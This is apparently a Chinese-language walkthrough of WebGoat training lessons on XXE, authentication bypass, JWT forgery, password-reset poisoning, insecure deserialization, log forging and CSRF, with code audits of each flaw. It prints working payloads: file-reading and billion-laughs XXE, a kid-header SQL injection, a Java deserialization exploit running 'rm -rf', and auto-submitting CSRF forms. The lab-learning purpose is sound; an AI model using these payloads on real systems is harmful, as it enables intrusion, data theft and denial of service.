(A5) Security Misconfiguration


XXE


lesson4


image.png

提交,发现抓到了以POST的方式提交的,请求地址为/WebGoat/xxe/simple的包,内容是一个标准的XML。并且输入内容可控
伪造一下,成功读取/etc/passwd文件
在java中file可以直接列目录,payload如下:

1
2
3
<?xml version="1.0"?>
<!DOCTYPE any[<!ENTITY text SYSTEM "file:///">]>
<comment> <text>&text;</text></comment>

image.png

代码审计
createNewComment()方法
image.png

  • 将post请求的内容赋值给了commentStr变量
  • var comment = comments.parseXml(commentStr);使用comments.parseXml处理完后赋值给comment实例
  • comments.addComment(comment, false);添加评论
    跳转到Comments.parseXml()
    image.png
  • JAXBContext 是 Java 中用于管理 Java 对象和 XML 数据之间映射的类。它是 Java Architecture for XML Binding (JAXB) 的一部分,提供了从 Java 对象生成 XML 或从 XML 数据创建 Java 对象的功能。
    • 对象到 XML 的绑定(Marshaller): 将 Java 对象转换为 XML 表示。
    • XML 到对象的绑定(Unmarshaller): 将 XML 数据解析并绑定到 Java 对象。
    • 元数据管理: 管理绑定操作所需的上下文,包括类信息和配置信息。
  • 从 Java 11 开始,JAXB 被移除出 JDK,需要手动添加依赖

image.png
当把 XML 格式的字符串传递给 Unmarshaller 接口转变成 Java 对象时,会解析一遍 XML,如果传入的值可控就会导致 XXE 注入攻击。

lesson 7 Modern REST framework


In modern REST frameworks the server might be able to accept data formats that you as a developer did not think about. So this might result in JSON endpoints being vulnerable to XXE attacks.
在现代 REST 框架中,服务器可能会接受您作为开发人员没有考虑到的数据格式。因此,这可能导致 JSON 端点容易受到 XXE 攻击。
Again same exercise but try to perform the same XML injection as we did in the first assignment.
再次进行相同的练习,但尝试执行与第一次作业中相同的 XML 注入。

先来了解一下REST

REST全称是Representational State Transfer,中文意思是表述(编者注:通常译为表征)性状态转移。REST指的是一组架构约束条件和原则。”如果一个架构符合REST的约束条件和原则,我们就称它为RESTful架构。

REST资源的表述:
例如文本资源可以采用html、xml、json等格式,图片可以使用PNG或JPG展现出来。
资源的表述包括数据和描述数据的元数据,例如,HTTP头”Content-Type” 就是这样一个元数据属性。

RESTful 架构详解 | 菜鸟教程
一文彻底弄懂REST API - 知乎

回到题目本身,抓包发现
image.png
此处资源的表述:Content-Type: application/json,对应解析的内容为json格式
修改一下,使得其能解析xml
image.png
lesson8中有详细的解决方案

lesson9 XXE DOS attack


With the same XXE attack we can perform a DOS service attack towards the server. An example of such an attack is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

当 XML 解析器加载此文档时,会发现它包含一个根元素 “lolz”,其中包含文本“&lol9;”。然而,“&lol9; ”是一个已定义的实体,可扩展为一个包含十个“&lol8; ”字符串的字符串。每个“&lol8; ”字符串都是一个定义实体,可扩展为十个“&lol7; ”字符串,依此类推。处理完所有实体扩展后,这一小块(< 1 KB)XML 实际上将占用近 3 gigabytes 的内存。

lesson 11 Blind XXE assignment


在webwolf中上传一个attack.dtd文件

1
2
<?xml version='1.0' ?>
<!DOCTYPE any[<!ENTITY secret SYSTEM 'file:///C:\Users\11111/.webgoat-2023.4//XXE/11111111/secret.txt'>]>

抓包,构造payload

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://localhost:9090/files/11111111/attack.dtd">
%remote;
]>
<comment> <text>123 &secret;</text></comment>

返回 WebGoat 并发表评论

代码层面上:
image.png
和lesson7是一样的

(A7) Identity & Auth Failure


Authentication Bypasses


image.png

2FA Password Reset


根据抓到的路由找源代码
image.png
代码审计
直接看AttackResult
image.png
verifyAccount()
image.png
几个检查机制:

  • 检查提交问题数量是否匹配
  • secQuestion0的值和取到的值相同equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))),secQuestion1也是一样
    看看那个值是怎么定义的
    image.png
    即检查机制为:
  • 检查提交问题数量是否匹配
  • “secQuestion0”的值为”Dr. Watson”
  • “secQuestion1”的值为”Baker Street”
    相等的情况下就会被didUserLikelylCheat()拦住
    image.png
    didUserLikelylCheat()
    image.png

但如果我们从submittedQuestions.containsKey("secQuestion0"条件入手,使其为false,则会跳过一整个if语句
image.png
那么检查机制就变为:

  • 检查提交问题数量是否匹配
    具体payload如下:
    image.png
    secQuestion0写为secQuestion011,secQuestion1写为secQuestion111

感觉这题纯考逻辑…

Insecure Login


image.png
log in 后拦截到明文传输的账密,然后改包,传上去即可
image.png

JWT tokens


结构:

  • 声明
  • 签名
    image.png

lesson 3 Decoding a JWT token


jwt.io或者是cyberchef都可以一把梭
image.png

lesson 5 JWT伪造


image.png

代码审计
JWTVotesEndpoint.java文件
image.png

  • 只判断claims中admin的值

lesson6是答案
注意!在没有密钥的情况下直接对cliams进行修改,签名会失效
We can change the admin claim to false but then signature will become invalid. How do we end up with a valid signature? Looking at the RFC specification alg: none is a valid choice and gives an unsecured JWT. Let’s change our token:我们可以将管理员声明改为 false,但这样签名就会失效。我们如何才能获得有效的签名呢?根据 RFC 规范,“无”(alg: none)是一个有效的选择,它提供的是一个不安全的 JWT。让我们改变我们的标记:直接去掉签名

lesson 7 Code review


image.png

比较一下
image.png

parseClaimsJws和parse的区别
parseClaimsJws:会自动校验签名的合法性
parse:提供一个通用的接口,可以解析 JWT 的任何部分,包括签名无效的情况

答案很明显
1 , 2

JWT cracking JWT 爆破


With the HMAC with SHA-2 Functions you use a secret key to sign and verify the token. Once we figure out this key we can create a new token and sign it. So it is very important the key is strong enough so a brute force or dictionary attack is not feasible. Once you have a token you can start an offline brute force or dictionary attack.使用带有 SHA-2 函数的 HMAC,您可以使用密钥来签署和验证令牌。一旦我们知道了这个密钥,就可以创建一个新的令牌并对其进行签名。因此,密钥必须足够强大,这样暴力或字典攻击就不可行了。一旦有了令牌,就可以开始离线暴力或字典攻击。
image.png

image.png
密钥为victory
打印当前时间

1
python -c "import time;print(time.time())"

修改时间戳,把时间间隙改大一点
image.png

再结合密钥重新生成jwt

代码审计
密钥从这里随机挑选
image.png

image.png

  • parseClaimsJws(token) 要验证签名

Refreshing a token刷新令牌


token类型分为两种:access token 和 refreshing token
refreshing token 的存在是为了避免多次验证access token

题目要求:Can you find a way to order the books but let Tom pay for them?
先看日志
image.png
找到失效的token,然后对时间戳进行修改,无果
发现日志中存在”POST /JWT/refresh/login HTTP/1.1” 200”, 尝试访问,回显400
checkout中也没有access_token等信息。
那我们先去审一下源码叭………………………

代码审计
对于/JWT/refresh/login路由而言
image.png

  • 账号密码以json对象的形式传入。没有以json对象传入,则直接返回ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();

  • 账密为jerry:bm5nhSkxCXZkKRy4createNewTokens(user)
    createNewTokens()逻辑如下
    image.png

  • 创建access_token和refresh
    再看/JWT/refresh/checkout路由
    image.png

  • 接收一个 Authorization 头中的 JWT,验证其有效性并解析。

  • 检查用户是否为 "Tom"

  • 检查 JWT 是否使用了不安全的 alg 算法(如 "none"
    /JWT/refresh/newToken路由
    image.png

  • 当 user 与 refreshToken 都存在,JWT 成功被 Refresh

注意!此处只验证了是否存在, 没有验证对应的对象,所以可以存在下方使用a用户的refresh_token刷新b用户的access_token的漏洞

回到题目本身
再次看这道题的时候,发现再HTTP history中,我们曾经捉到了这样的包
image.png
是jerry的记录,response中存在jerry的access_token和refresh_token

在log中发现tom的access_token

根据题意猜测,那应该是使用tom的access_token和jerry的refresh_token来更新tom的access_token

/WebGoat/JWT/refresh/newToken路由刷新access_token,注意refresh_token只能使用一次。
改Authorization头为Tom的access_token,使用jerry的refresh_token作为refresh_token
image.png

然后改checkout的包,使用tomaccess_token
注意:这个包中本身就存在Authorization
image.png
over

Final challenge


image.png
题意大概是:用jerry的账户,delete tom的账户

点击delete抓包,接口为/WebGoat/JWT/final/delete?token=
从这里可以截获到jerry的jwt,解码发现:
image.png
多了个kidKey ID
详情见:What’s the meaning of the “kid” claim in a JWT token? - Stack Overflow ~ JWT 标记中的 “kid”(孩子)声称是什么意思?- Stack Overflow

hit: Using a SQL injection you might be able to manipulate the key to something you know and create a new token.

改一下jwt
image.png
其中:

  • bXlfa2V5my_key的base64加密
  • SALARIES是已知的随机表
  • iat和exp改时间戳,用python打印一个即可
  • 改 “username”: “Tom”
  • key用my_key

发包
image.png

代码审计
两个路由,/JWT/final/follow/{user},点关注的,没什么用。我们来看另一个路由/JWT/final/delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
@PostMapping("/JWT/final/delete")  
public @ResponseBody AttackResult resetVotes(@RequestParam("token") String token) {
if (StringUtils.isEmpty(token)) {
return failed(this).feedback("jwt-invalid-token").build();
} else {
try {
final String[] errorMessage = {null};
Jwt jwt =
Jwts.parser()
.setSigningKeyResolver(
new SigningKeyResolverAdapter() {
@Override
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
final String kid = (String) header.get("kid");
try (var connection = dataSource.getConnection()) {
ResultSet rs =
connection
.createStatement()
.executeQuery(
"SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
while (rs.next()) {
return TextCodec.BASE64.decode(rs.getString(1));
}
} catch (SQLException e) {
errorMessage[0] = e.getMessage();
}
return null;
}
})
.parseClaimsJws(token);
if (errorMessage[0] != null) {
return failed(this).output(errorMessage[0]).build();
}
Claims claims = (Claims) jwt.getBody();
String username = (String) claims.get("username");
if ("Jerry".equals(username)) {
return failed(this).feedback("jwt-final-jerry-account").build();
}
if ("Tom".equals(username)) {
return success(this).build();
} else {
return failed(this).feedback("jwt-final-not-tom").build();
}
} catch (JwtException e) {
return failed(this).feedback("jwt-invalid-token").output(e.toString()).build();
}
}
}

发现这里存在一个sql查询,由于其直接拼接,存在sql注入。然后将查询到的值返回给rs
然后返回一个base64解码的rs.getString(1)

所以上方payload需要base64加密,拿出来详细讲讲

上方payload拼接进sql语句中如下:

1
SELECT key FROM jwt_keys WHERE id = '111' UNION SELECT 'bXlfa2V5' FROM SALARIES --'

查询结果返回了 bXlfa2V5,被视为有效的密钥

UNION SELECT 是 SQL 中的一个操作符

  • 合并的结果集会同时包含前一个查询和后一个查询的结果。
  • 如果第一个查询没有结果,而第二个查询有结果,那么返回的就只有第二个查询的结果。

然后使用了parseClaimsJws(token),无法构造 {"alg":"none"} 来绕过

对jwt中其他内容的验证只剩下:
image.png

Best practices最佳实践


Some best practices when working with JWT:使用 JWT 时的一些最佳实践:

  • Fix the algorithm, do not allow a client to switch the algorithm.固定算法,不允许客户端切换算法。

  • Make sure you use an appropriate key length when using a symmetric key for signing the token.使用对称密钥签署令牌时,确保使用适当的密钥长度。

  • Make sure the claims added to the token do not contain personal information. If you need to add more information opt for encrypting the token as well.确保添加到令牌的声明不包含个人信息。如果需要添加更多信息,请选择对令牌进行加密。

  • Add sufficient test cases to your project to verify invalid tokens actually do not work. Integration with a third party to check your token does not mean you do not have test your application at all.在项目中添加足够的测试用例,以验证无效令牌实际上不起作用。与第三方集成以检查您的令牌并不意味着您完全不需要测试您的应用程序。

  • Take a look at the best practices mentioned in https://tools.ietf.org/html/rfc8725#section-2请参阅 https://tools.ietf.org/html/rfc8725#section-2 中提到的最佳实践。

Password reset


大多都是逻辑洞

lesson 2


测试webWolf 是否能正常使用

lesson 4 Security questions安全问题 爆破密保


这些安全问题(s)应被视为与相同级别的安全,这是应用于储存密码在数据库

题目:
抓包,发现颜色是以post传参的securityQuestion
image.png
gpt生成颜色字典,爆破

存在网络错误,所以需要多爆破几次
image.png
image.png

image.png

代码审计
COLORS映射表直接硬编码在代码
image.png

1
2
String securityQuestion = (String) json.getOrDefault("securityQuestion", "");  
String username = (String) json.getOrDefault("username", "");

其中,getOrDefault
image.png
返回 key 相映射的的 value,如果没有返回defaultValue

lesson 5


If you have to pick a security question, we recommend not answering them truthfully.如果你必须选择一个安全问题,我们建议不回答它们如实。


题目

Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with that password. Note: it is not possible to use OWASP ZAP for this lesson, also browsers might not work, command line tools like curl and the like will be more successful for this attack.尝试将汤姆 (tom@webgoat-cloud.org) 的密码重设为您自己选择的密码,并用该密码以汤姆的身份登录。注意:本课不可能使用 OWASP ZAP,浏览器也可能不起作用,curl 等命令行工具在本攻击中会更成功。
Tom always resets his password immediately after receiving the email with the link.汤姆总是在收到带有链接的电子邮件后立即重设密码。

在Forgot your password?处,抓包
image.png
该host让tom@webgoat-cloud.org的重置链接发到webwolf中,也是就9090端口

Host:指定目标服务器的域名和端口号,用于告诉服务器当前请求是发往哪个具体主机的。

在webWolf中的incoming requests中找到传入请求。
在 WebWolf 的传入请求中,我们将获得Tom点击的链接
image.png
此时,我们将获取的链接的套接字改为webgoat的套接字,即

1
2
3
http://127.0.0.1:8080/WebGoat/PasswordReset/reset/reset-password/8c180843-8fb6-4a2d-a366-de4db9f8b0b9

# http://127.0.0.1:8080/WebGoat/ + PasswordReset/reset/reset-password/8c180843-8fb6-4a2d-a366-de4db9f8b0b9

然后更改密码,再以tom的身份登录即可

代码审计
image.png

  • host 的值是Request 包中的 host 值
  • if语句判断 host 当中是否存在 WebWlof 服务对应的端口与 Host

(A8) Software & Data Integrity


lesson 3 The Simplest Exploit


简单的反序列化漏洞示例

1
2
3
InputStream is = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(is);
AcmeObject acme = (AcmeObject)ois.readObject();

它期待一个 AcmeObject 对象,但会在转换之前执行 readObject()。如果攻击者找到了在 readObject() 中执行危险操作的适当类,他就可以序列化该对象并强制存在漏洞的应用程序执行这些操作。

Class included in ClassPath类路径中包含的类

攻击者需要在类路径中找到一个支持序列化并在 readObject() 中执行危险操作的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;

public class VulnerableTaskHolder implements Serializable {

private static final long serialVersionUID = 1;

private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;

public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}

private void readObject( ObjectInputStream stream ) throws Exception {
//deserialize data so taskName and taskAction are available
stream.defaultReadObject();

//blindly run some code. #code injection
Runtime.getRuntime().exec(taskAction);
}
}

可利用是因为重写了readObject方法
exp

1
2
3
4
5
6
7
VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();

执行位置在:taskAction,执行rm -rf somefile 的操作

lesson5


题目要求:尝试更改此序列化对象,以便将页面响应延迟整整 5 秒钟
image.png

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class InsecureDeserializationTask extends AssignmentEndpoint {  

@PostMapping("/InsecureDeserialization/task")
@ResponseBody
public AttackResult completed(@RequestParam String token) throws IOException {
String b64token;
long before;
long after;
int delay;

b64token = token.replace('-', '+').replace('_', '/');

try (ObjectInputStream ois =
new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
before = System.currentTimeMillis();
Object o = ois.readObject();
if (!(o instanceof VulnerableTaskHolder)) {
if (o instanceof String) {
return failed(this).feedback("insecure-deserialization.stringobject").build();
}
return failed(this).feedback("insecure-deserialization.wrongobject").build();
}
after = System.currentTimeMillis();
} catch (InvalidClassException e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
} catch (IllegalArgumentException e) {
return failed(this).feedback("insecure-deserialization.expired").build();
} catch (Exception e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
}

delay = (int) (after - before);
if (delay > 7000) {
return failed(this).build();
}
if (delay < 3000) {
return failed(this).build();
}
return success(this).build();
}
}

token经过了一个特殊字符替代,然后base64解码,得到的值进行readObject反序列化。

instanceof() 是一个二元操作符,用于测试一个对象是否是某个类的实例,或者是否实现了某个接口

判断是否为VulnerableTaskHolder的实例

VulnerableTaskHolder类中找到重写的readObject()
image.png
该方法直接调用Runtime.getRuntime().exec(),参数为taskAction

该taskAction参数在构造参数中直接传入
image.png
所以该参数可控

exp,在VulnerableTaskHolder的同级目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.dummy.insecure.framework;  

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Attack {
static public void main(String[] args){
try{
VulnerableTaskHolder go = new VulnerableTaskHolder("ping", "ping -n 6 127.0.0.1");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
String exp = Base64.getEncoder().encodeToString(exploit);
System.out.println(exp);
} catch (Exception e){

}
}
}

一开始用sleep来打,但是出现sleep找不到对应文件的问题,于是使用ping
image.png
可以使用sleep或ping
image.png

(A9) Security Logging Failures


Logging Security 日志安全


lesson2


本挑战的目标是让用户名 “admin ”看起来成功登录。

payload

1
normal_user\n[INFO] admin accessed the system

日志伪造攻击

但实测下来,payload为

1
2
# 在username位置上
admin

就能通过

代码审计
image.png

  • \n替换为<br/>
  • 比较字符串中 "<br/>""admin" 出现的索引位置
    • indexOf("<br/>") 返回 username 字符串中首次出现 "<br/>" 的位置(从 0 开始计数,数到出现位置)
    • 如果 "<br/>" 不存在,indexOf 会返回 -1
    • admin同理

这也解释了为什么payload为admin就能直接通过
因为"<br/>"的值为-1,admin出现了,值为0,-1 < 0

再来解释一下为什么日志伪造攻击payload生效
看这个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.dummy.insecure.framework;  

public class test {
static public void main(String[] args) {
String username;
username = "normal_user\n[INFO] admin accessed the system";
// username = "admin";
username = username.replace("\n", "<br/>");
System.out.println(username);
System.out.println(username.indexOf("<br/>"));
System.out.println(username.indexOf("admin"));
}
}

运行结果为

1
2
3
normal_user<br/>[INFO] admin accessed the system
11
23

所以其实后端的检查机制只需要admin在<br/>之后即可成功

和日志伪造没什么关系hhhh

lesson 3


当用户试图欺骗日志时,日志欺骗就会成为一个问题。除表单发布外,还有其他多种方法可以做到这一点。比如 URL 参数或伪造的 JSON 有效负载。

1、应用适当的输入过滤
2、确保您可以建立源真实性并实施完整性控制以检测日志篡改。
3、确保用户无法从任何通道注入日志
4、确保日志存储受到保护

lesson 4 log-bleeding


本挑战的目标是在 WebGoat 服务器的应用程序日志中找到秘密,以便以管理员用户身份登录。
请注意,我们试图 “保护 ”它。您能解码吗?

在启动程序中
image.png

base64 decode

1
2
3
OTdjYzhhNjEtMGNhMC00NjI3LWJjNDItZDliNTllYTA0M2Q1

97cc8a61-0ca0-4627-bc42-d9b59ea043d5

有个比较坑的点
username是Admin而非admin

代码审计
image.png
image.png
很直接了

最好将应用程序(调试)日志与 SEM 日志和审计日志区分开来,以便于应用程序输出、在企业内部存储和处理日志

(A10) Server-side Request Forgery 服务器端请求伪造


Cross-Site Request Forgeries跨站请求伪造


  • csrf 构造 payload 然后诱导受害者点击,从而利用受害者的身份去做一些事情。
  • ssrf 请求是服务端发起的,通常有的功能会存在从第三方的链接等获取资源,但是如果没有对资源来源进行一个限定那么就可以导致我们可以利用服务端来请求他本地或者他其中的内网信息

lesson 2Basic Get CSRF Exercise基本获取 CSRF 练习


使用burpsuite中的CSRF POC 功能,生成一个payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://127.0.0.1:8080/WebGoat/csrf/basic-get-flag" method="POST">
<input type="hidden" name="csrf" value="true" />
<input type="hidden" name="submit" value="�&#143;&#144;&#164;" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

保存,本地打开,点击链接,得到flag
image.png

代码审计
image.png

  • 检查机制是令 referer != host

lesson 4 Post a review on someone else’s behalf


该页面通常模拟用户对帖子的评论和评分。我们的任务是从另一台主机上提交该评论和评分

和上文类似,payload为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://127.0.0.1:8080/WebGoat/csrf/review" method="POST">
<input type="hidden" name="reviewText" value="aadsdaddasd" />
<input type="hidden" name="stars" value="1" />
<input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

lesson4


现在,大多数框架都默认支持防止 CSRF。例如,在 Angular 中,拦截器默认从 Cookie 中读取令牌 XSRF-TOKEN,并将其设置为 HTTP 标头 X-XSRF-TOKEN。由于只有在您的域上运行的代码才能读取 cookie,因此后端可以确定 HTTP 请求来自您的客户端应用程序,而不是攻击者。

为了实现这一功能,后端服务器会在 Cookie 中设置标记。由于 Cookie 的值应由 Angular(JavaScript)读取,因此不应将此 Cookie 标记为 http-only 标志。在每次向服务器发出请求时,Angular 都会将令牌作为 HTTP 标头放入 X-XSRF-TOKEN 中。服务器可以验证这两个令牌是否匹配,这将确保服务器的请求是在同一域上运行的。

lesson 7 CSRF and content-type


您需要从另一个源进行调用(WebWolf 可以提供帮助),实现将以下 JSON 消息 POST 到我们的端点

CORS 策略是一种机制,它告诉浏览器,如果请求不是来自同一源,何时允许访问特定资源。基本上,当请求从服务器域以外的不同域托管的网站发出时,服务器需要在响应中包含一个额外的标头(Access-Control-Allow-Origin),说明可以访问该资源。浏览器会执行这一策略。

预检: 在实际请求之前,浏览器会询问网络服务器该请求是否安全。简单请求不会触发 CORS 预检

不会触发的请求类型:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

已知存在cors,我们使用不会触发的请求类型
payload

1
2
3
4
5
6
7
8
9
<html>
<body>
<form action=http://localhost:8080/WebGoat/csrf/feedback/message method=post enctype="text/plain" >
<input name= ' {"name": "WebGoat", "email": "webgoat@webgoat.org", "content": "WebGoat is the best!!", "ignore_me":" ' value='test"}' type='hidden'>
<input type='submit' value='Submit'>

</form>
</body>
</html>

运行
image.png

填进去即可

lesson8 Login CSRF attack登录 CSRF 攻击


新建一个账户即可

ssrf 服务器端请求伪造


在服务器端请求伪造(SSRF)攻击中,攻击者可以滥用服务器上的功能来读取或更新内部资源。攻击者可以提供或修改 URL,让服务器上运行的代码读取或提交数据。此外,通过仔细选择 URL,攻击者还可以读取 AWS 元数据等服务器配置,连接到启用 HTTP 的数据库等内部服务,或对无意暴露的内部服务执行发布请求。

lesson 2 Find and modify the request to display Jerry


检查浏览器向服务器发送的内容,并调整请求以从服务器获取其他内容。

image.png

lesson 3


image.png

感觉这两个题都不算是ssrf